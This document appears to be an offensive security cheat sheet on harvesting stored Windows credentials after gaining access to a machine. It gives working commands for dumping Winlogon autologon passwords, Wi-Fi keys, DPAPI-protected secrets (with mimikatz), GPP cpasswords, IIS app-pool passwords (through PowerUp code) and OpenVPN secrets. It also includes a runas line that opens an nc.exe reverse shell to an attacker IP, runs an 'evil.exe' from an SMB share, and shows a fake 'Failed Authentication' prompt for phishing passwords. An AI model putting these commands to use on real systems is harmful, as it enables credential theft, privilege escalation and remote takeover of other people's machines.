Skip to content

Investigating Local Windows Credentials

Windows credentials can remain in configuration files and the registry, as well as in dedicated stores. This page organizes what to check by storage location.

Terminal window
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credential Manager and Windows Vault store credentials that applications reuse. The application requests a saved value through Credential Manager when it needs it. See the Windows Vault guide for background on how this works.

Use cmdkey to list credentials stored on the machine.

Terminal window
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

You can then use runas /savecred to use a saved credential. This example invokes a remote binary over an SMB share.

Terminal window
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Example of running runas with supplied credentials.

Terminal window
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

See also mimikatz, lazagne, credentialfileview, VaultPasswordView, or the Empire PowerShell module.

The Data Protection API (DPAPI) provides symmetric encryption of data and is mainly used within Windows to encrypt asymmetric private keys symmetrically. User or system secrets contribute substantially to the encryption entropy.

DPAPI encrypts keys with a symmetric key derived from the user’s logon secret. For system encryption, it uses the system’s domain authentication secret.

DPAPI-encrypted user RSA keys are stored at %APPDATA%\Microsoft\Protect\{SID}, where {SID} is the user’s Security Identifier. The DPAPI key is stored in the same file as the master key protecting the user’s private key and is usually 64 bytes of random data. (Access to this directory is restricted: CMD’s dir cannot list it, but PowerShell can.)

Terminal window
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\

The mimikatz module dpapi::masterkey can decrypt it with the appropriate arguments (/pvk or /rpc).

Credential files protected by a master password are usually found in these locations:

Terminal window
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

The mimikatz module dpapi::cred can decrypt them with the appropriate /masterkey.
The sekurlsa::dpapi module can extract DPAPI master keys from memory in bulk if you have root privileges.

DPAPI Extracting Passwords

PowerShell credentials are common in scripts and automation tasks and provide a convenient way to store encrypted credentials. They are usually protected by DPAPI, so they can be decrypted only by the same user on the same computer that created them.

To decrypt PowerShell credentials from a file:

Terminal window
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Terminal window
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Stored at: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
and HKCU\Software\Microsoft\Terminal Server Client\Servers

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use Mimikatz’s dpapi::rdg module with the appropriate /masterkey to decrypt .rdg files.
Mimikatz’s sekurlsa::dpapi module can extract DPAPI master keys from memory in bulk.

The Windows StickyNotes app may store passwords and other information in a database file. The file is at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is worth searching and inspecting.

Recovering passwords with AppCmd.exe requires running it as Administrator at High Integrity.
AppCmd.exe is located at %systemroot%\system32\inetsrv\.
If this file exists, credentials may be configured and recoverable.

This code was extracted from PowerUP:

Terminal window
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

Check whether C:\Windows\CCM\SCClient.exe exists.
Its installers run as SYSTEM and are often vulnerable to DLL sideloading (see https://github.com/enjoiz/Privesc).

Terminal window
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Credentials left in files and the registry

Section titled “Credentials left in files and the registry”
Terminal window
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH private keys may be stored under HKCU\Software\OpenSSH\Agent\Keys, so check this location for anything of interest:

Terminal window
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Entries at this path are likely saved SSH keys. They are encrypted, but can be decrypted easily with https://github.com/ropnop/windows_sshagent_extract.
Details: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

If the ssh-agent service is not running, start it automatically at boot with:

Terminal window
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

[!TIP] This technique no longer appears to work. After creating an SSH key, adding it with ssh-add, and trying an SSH login, the HKCU\Software\OpenSSH\Agent\Keys registry key did not exist, and procmon showed no use of dpapi.dll during asymmetric key authentication.

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Metasploit can also search for them with post/windows/gather/enum_unattend.

Example:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Terminal window
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

Look for a file named SiteList.xml.

Group Policy Preferences (GPP) once provided a way to deploy custom local administrator accounts across machines. It had a serious security flaw. Any domain user could access the GPO XML files stored in SYSVOL. In addition, GPP passwords were encrypted with AES256 but could be decrypted with a published default key. This created a serious risk of authenticated users gaining privileges.

To mitigate this risk, a function was created to scan locally cached GPP files for a nonempty “cpassword” field. If found, it decrypts the password and returns a custom PowerShell object containing information about the GPP entry and file location. This makes the vulnerability easier to identify and fix.

Look for the following files in C:\ProgramData\Microsoft\Group Policy\history or C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (before Windows Vista):

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

To decrypt cPassword:

Terminal window
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Get passwords with crackmapexec:

Terminal window
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
Terminal window
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Terminal window
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Terminal window
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Example web.config containing credentials:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Terminal window
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

If necessary, you can ask a user to enter their own credentials or another user’s credentials (but be aware that asking a client directly for credentials is very risky).

Terminal window
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl

Known files that have sometimes contained passwords in plaintext or Base64:

Terminal window
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Search for all the suggested files:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Check the Recycle Bin for credentials as well.

To recover passwords saved by some programs, see: http://www.nirsoft.net/password_recovery_tools.html

Other registry keys that may contain credentials

Terminal window
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract OpenSSH keys from the registry

Check the database in which Chrome / Firefox passwords are saved.
Also inspect browsing history, bookmarks, and favorites, where passwords may have been saved.

Tools for extracting passwords from browsers:

Component Object Model (COM) is a Windows technology that allows software components written in different languages to communicate. Each COM component is identified by a class ID (CLSID) and exposes functionality through one or more interface IDs (IIDs).

COM classes and interfaces are defined under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface, respectively. This registry view combines HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

A CLSID in this registry has an InProcServer32 subkey containing the default value pointing to a DLL and a ThreadingModel (Apartment / Free / Both / Neutral).

If you can replace the DLL that will run, you may be able to escalate privileges when another user loads it.

For using COM hijacking for persistence, see:

COM Hijacking

Search files and the registry for passwords

Section titled “Search files and the registry for passwords”

Search file contents

Terminal window
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Search specific filenames

Terminal window
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Search registry key names and passwords

Terminal window
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

The MSF-Credentials Plugin is an msf plugin that automatically runs Metasploit POST modules to search for credentials on a target.
WinPEAS automatically searches for the password-bearing files listed on this page.
LaZagne is another useful password extraction tool.

SessionGopher searches for sessions, usernames, and passwords stored in plaintext by several tools (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP).

Terminal window
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss